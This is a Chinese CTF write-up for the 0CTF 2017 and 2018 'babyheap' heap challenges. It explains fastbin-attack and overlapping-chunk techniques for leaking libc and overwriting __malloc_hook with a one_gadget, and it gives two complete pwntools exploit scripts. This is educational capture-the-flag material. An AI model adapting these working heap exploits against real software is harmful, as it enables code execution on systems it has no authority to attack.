因为最近2019届0ctf-tctf开始了，想去水一水，特别把2018的babyheap和2017的babyheap做了一下汲取一下经验，感觉两题类型相似，大致思路相同，2018比2017的利用条件更加苛刻一些。所以把两个题目放在一起来写，有助于加深对fastbin_attack的理解，和提高知识运用的灵活性。
首先提供两道题目的二进制文件：2017_0ctf_babyheap 2018_0ctf_babyheap
先来看2017的题目： 预览： 可以看到文件为64位，保护全开，给了Libc，标准的堆题。。。看到full relro一般为改hook为one_gadget。放进ida里进一步分析：

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主要功能分析及漏洞寻找： 可以看到程序开始时先选了一段随机不可控的地址来储存heap列表的基地址（base_ptr）。紧接着就进入了死循环，打印菜单，输入选项，运行函数。逐个分析功能：

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allocate()功能中，我们发现heap的content大小由我们自己决定（小于0x1000），是可控的，且heap结构体中会储存heap内容的大小。此外，我们申请堆块时用的是 calloc() 这意味着堆块的数据开始时要被初始化为0，这一点需要注意

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fill()函数就是向我们申请过的chunk里填数据，不过有一个很明显的任意溢出更改漏洞。

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free()就是将chunk指针free()，没有uaf漏洞。
print()函数就是打印对应下标的chunk的content，不过打印的内容是根据我们在allocate()时输入的size来决定的。
思考如何利用漏洞： 首先我们的最终目标定为：将malloc_hook改为one_gadget，现阶段，我们只能借助于程序自身的fill()功能来进行写，而fill()功能又需要一个堆指针，所以我们的目标转化为如何使堆指针分配到malloc_hook附近，我们运用fastbin功能与overlapping结合的方法来实现。
leak:
因为我们要确定malloc_hook的地址与one_gadget的地址，所以必须泄露出libc。

1. 泄露功能，我们可以利用程序的print()功能来实现，先申请4个chunk（chunk2大小为smallchunk），然后通过0来改写1的size，然后通过标准的overlapping方法，先free()再malloc()，然后chunk2现在在1的里面，(这里要注意，因为是calloc，所以再次申请chunk1的时候，chunk2的chunk_header会被清零，需要fill()重新布置一下)，然后free chunk2，将其放入unsortedbin中，然后通过chunk1的print()打印出chunk2的fd指针，成功泄露libc。(这一部分不理解的可以看我文末的心得，有我第一次做的时候查的资料，帮助理解。)

change:
之后我们就可以先把chunk2（大小我们申请为0x60）放进fastbin里，然后通过chunk1改其fd指针为&main_arena-0x33，然后在申请两次即可，然后再通过改chunk4的内容来改malloc_hook，再申请则会触发one_gadget。
exp如下：

#coding:utf-8from pwn import * context(os='linux',arch='amd64') #context.log_level='debug' p=process('./babyheap') libc=ELF('./libc.so.6')def allocate(length): p.recvuntil('Command: ') p.sendline('1') p.recvuntil(': ') p.sendline(str(length))def fill(ID,length,payload): p.recvuntil('Command: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(ID)) p.recvuntil('Size: ') p.sendline(str(length)) p.recvuntil('Content: ') p.send(payload)def free(ID): p.recvuntil('Command: ') p.sendline('3') p.recvuntil('Index: ') p.sendline(str(ID))def dump(ID): p.recvuntil('Command: ') p.sendline('4') p.recvuntil('Index: ') p.sendline(str(ID))offset = 0x3c4b20 #---------------1.leak-------------------- #-------------overlapping start----------- allocate(0x20)#index 0 allocate(0x20)#index 1 allocate(0x100)#index 2 allocate(0x20)#index 3隔离index 2 防止其被topchunk合并 #---------------change-------------------- payload = 'a'*0x20+p64(0)+p64(0x141) fill(0,len(payload),payload) #gdb.attach(p)#--------------free and malloc------------ free(1) allocate(0x130) payload = '\x00'*0x20+p64(0)+p64(0x111)#因为calloc()会清空index 1 fill(1,len(payload),payload) #--------------overlapping down----------- free(2) #gdb.attach(p) dump(1) p.recvuntil('Content: \n') main_arena_addr = u64(p.recv()[48:48+6].ljust(8,'\x00')) - 88 libcbase = main_arena_addr - offset one_gadget = 0x4526a#0x4526a0xf02a40xf1147 one_gadget_addr = libcbase + one_gadget log.success('libcbase = ' + hex(libcbase)) #gdb.attach(p) #-------------leak down-------------------#---------------2.change------------------ p.sendline('1')#index 2 p.recvuntil(': ') p.sendline(str(96)) #gdb.attach(p)free(2) #gdb.attach(p)fake_chunk_addr = main_arena_addr - 0x33 payload = 'a'*0x20+p64(0)+p64(0x71)+p64(fake_chunk_addr) fill(1,len(payload),payload) #gdb.attach(p)allocate(0x60)#index 2 #gdb.attach(p)allocate(0x60)#index 4payload = 'a'*0x13 + p64(one_gadget_addr) fill(4,len(payload),payload)allocate(0x20)p.interactive()

再来看2018的题目： 主要功能分析与漏洞寻找： 和2017年的题目类似，有一些小的变化，一个是allocate()最大只能申请0x58的chunk（虽然条件变得苛刻，但是等于从侧面告诉了我们方向是fastbin_attack），然后是fill()不再有任意溢出漏洞，而是只有off-by-one漏洞，这不影响overlapping，只是方法要复杂一点。
思考如何利用漏洞： leak:
第一步肯定还是先想leak出libc，但是这个可能就有点小麻烦了。。。我们首先想到老方法：overlapping之后用大块打印小块的内容，但是小块一定是大于0x80的，所以我们不可能打印出小块的全部内容，我们也只需要fd指针位置的内容，这一点是可行的，但是因为chunk大小的限制，我们必须经过精心构造，来绕过检查。做了其他的fastbin_attack的题目后，又用了新方法：两个指针控制同一块chunk。。。。先将一块chunk（overlapping的小块）放进fastbin，然后利用overlapping的大块改其的fd指针最后一位为我们想要的重叠位置的chunk的地址的最后一位，因为内存页分配原则，导致他们地址除了最后的一个字节不一样，其他都一样。再malloc两次就完事，然后当重叠的chunk被free以后，还是可以通过另外一个堆指针来打印fd的内容，进行泄露。
change:
这里也要注意，因为chunk最大为0x60，所以原来的直接把&main_arena-0x33位置放进fastbin里已经失效（size为0x70），需要想别的办法。。。这里需要改top_chunk的地址(这里做的时候没想到。。。orz)，首先要知道top_chunk的地址在&main_arena+80，而在&main_arena+80和&main_arena之间是用来存放fastbinY的，其值是fastbin中各个大小的的bins的头指针，如果全都没有的话则全为零，所以我们必须要一个chunk（其大小不能太小，不然离&main_arena+88太远控制不了）来压住，并利用其来伪造出fake_chunk的size。然后我们可以将fake_chunk设在伪造处，然后fill()更改top_chunk的地址为我们计划的地址（&main_arena-0x33)，再次申请一个chunk（大小可以覆盖到malloc_hook）即可，然后再fill()更改其值。
exp如下（leak用的新方法）：

#coding:utf-8from pwn import *context(os='linux',arch='amd64') #context.log_level = 'debug'p = process('./babyheap') P = ELF('./babyheap') libc = ELF('./libc-2.24.so')def allocate(length): p.recvuntil('Command: ') p.sendline('1') p.recvuntil('Size: ') p.sendline(str(length))def update(ID,payload): p.recvuntil('Command: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(ID)) p.recvuntil('Size: ') p.sendline(str(len(payload))) p.recvuntil('Content: ') p.send(payload)def delete(ID): p.recvuntil('Command: ') p.sendline('3') p.recvuntil('Index: ') p.sendline(str(ID))def view(ID): p.recvuntil('Command: ') p.sendline('4') p.recvuntil('Index: ') p.sendline(str(ID))#leak出libc size = 0x28 allocate(size)#index 0 allocate(size)#index 1 allocate(size)#index 2 allocate(size)#index 3 size = 0x80 allocate(size)#index 4payload = 'a'*0x28 + p8(0x61) update(0,payload)delete(1)allocate(0x50)#index 1delete(0) payload = 'a'*0x20+p64(0)+p64(0x31) update(1,payload) delete(2)payload = 'a'*0x20+p64(0)+p64(0x31)+p8(0xc0) update(1,payload) #gdb.attach(p) payload = 'a'*0x20+p64(0)+p8(0x31) update(3,payload)allocate(0x28)#index 0 allocate(0x28)#index 2 payload = 'a'*0x20+p64(0)+p8(0x91) update(3,payload) allocate(0x80)#index 5 payload = 'a'*0x20+p64(0)+p64(0x31) update(5,payload) delete(4)view(2) p.recvuntil('Chunk[2]: ') main_arena_addr = u64(p.recv(6).ljust(8,'\x00')) - 88 log.success('main_arena='+hex(main_arena_addr))#gdb.attach(p) libcbase = main_arena_addr - 0x3c4b20 one_gadget = 0x4526a one_gadget_addr = one_gadget + libcbase log.success('libc=' + hex(libcbase)) log.success('one_gadget='+hex(one_gadget_addr)) #gdb.attach(p) #改malloc_hook的值为one_gadget ''' #gdb.attach(p) payload = 'a'*0x20+p64(0)+p64(0x71) update(1,payload) payload = p64(0)+p64(0x81) update(2,payload)delete(0)payload = 'a'*0x20+p64(0)+p64(0x71)+p64(main_arena_addr-0x33) update(1,payload) #gdb.attach(p) ''' allocate(0x48)#index 4 delete(4) payload = p64(main_arena_addr+37) update(2,payload)allocate(0x58) delete(4)allocate(0x48)#index 4 #gdb.attach(p) allocate(0x48)#index 6 #gdb.attach(p)payload = '\x00'*35 + p64(main_arena_addr-0x33) update(6,payload)#gdb.attach(p) allocate(0x48)#index 7 payload = '\x00'*0x13 + p64(one_gadget_addr) update(7,payload) #gdb.attach(p)allocate(0x48)''' allocate(0x60)#index 6payload = 'a'*0x13 + p64(one_gadget_addr) update(6,payload) '''p.interactive()

我第一次做两道题的时候的一些心得： 2017-0ctf-babyheap:

• 这一题准备自己独立做的，结果只能相出大致思路，不会leak无法入手，看了writeup，学会了新姿势，也对fastbin attack有了更深的认识。
  
• 【2017/2018-0ctf-babyheap-writeup】leak出libc的方法除了泄露got表外，还有另一种：通过泄露main_arena来泄露libc。详情见链接：
  利用main_arena泄露libc
  
• __malloc_hook为函数指针，当其不为NULL时，优先调用其指向的函数，一般有堆题又开了full relro的基本为这种，或者是free的。
  
• fastbin attack我的体会是其先free将chunk送入fastbin，然后如果有uaf的话直接改写其fd指针，没有uaf的话就通过溢出或者overlapping（需要off_one_by）来改写fd指针，然后再malloc使堆指针指向我们计划好的地方（这里需要注意要通过fastbin的检查，fake_chunk的size要和malloc(size)的size一样）。 fastbin的大小范围（总大小）为大于等于0x20小于等于0x80。
  
• unsortedbin 的一些体会：ptr=malloc(0x80)，free(ptr),会被分到unsortedbin中，unsortedbin的结构图在上面的链接里有，其是在main_arena+88处 main_arena又在libc的data的段里。 当malloc()时，当fastbin里没有大小正好合适的chunk的时候，会从unsortedbin中找到大小大于需求的块切割了分给用户，剩下的继续留在unsortedbin中。
  
• 当free(smallchunk)时一定要注意不要被topchunk合并，并且不要触发unlink。
  
• calloc()申请的空间会全设为’\x00’
  

2018_0ctf_babyheap:

• 这一题算做出来百分之80，因为有2017年babyheap的经验大致思路有个轮廓。
• 不知道为啥exp得多尝试几次才能成功，有时候会报错。？？？
• 对堆的利用有了更深的理解：
• 1. leak的方式：
     • 程序自带的打印功能，这又分为几种情况：
       1. 打印字符串（常见的有name，host等等），注意这些字符串输入的时候有没有最后 ‘\x00’ 的缺失，如果有的话就会泄露之后的数据；还要注意其是不是用strcpy()输入的，如果是的话，可能又会有漏洞。
       2. 打印功能的函数，目前碰到的有两种情况：
          1. 打印存在堆上的content的内容，而堆指针不知道在什么位置，这种一般是利用其泄露&main_arena+88的地址。
          2. 打印存在堆上的content的内容，而堆指针知道在什么位置（bss段）或者也在堆上，然后通过unlink或者其他的方法（程序的edit功能漏洞）将堆指针改为函数的got表（一定要是调用后的函数），然后泄露函数实际地址进而泄露libc。
     • 自己构造泄露，需要先通过操作实现change的功能，然后通过(比如）free(chunk_ptr)，先改free_got的值为put_plt，然后将chunk_ptr的值设为某个函数的got表，就泄露了那个函数的实际地址。
  2. edit的方式：
     • 程序自带的edit功能，可能存在off-by-one类漏洞（一般之后为chunk overlapping），或者直接不限制大小直接输入。
     • 程序在申请chunk的时候就会输入内容。

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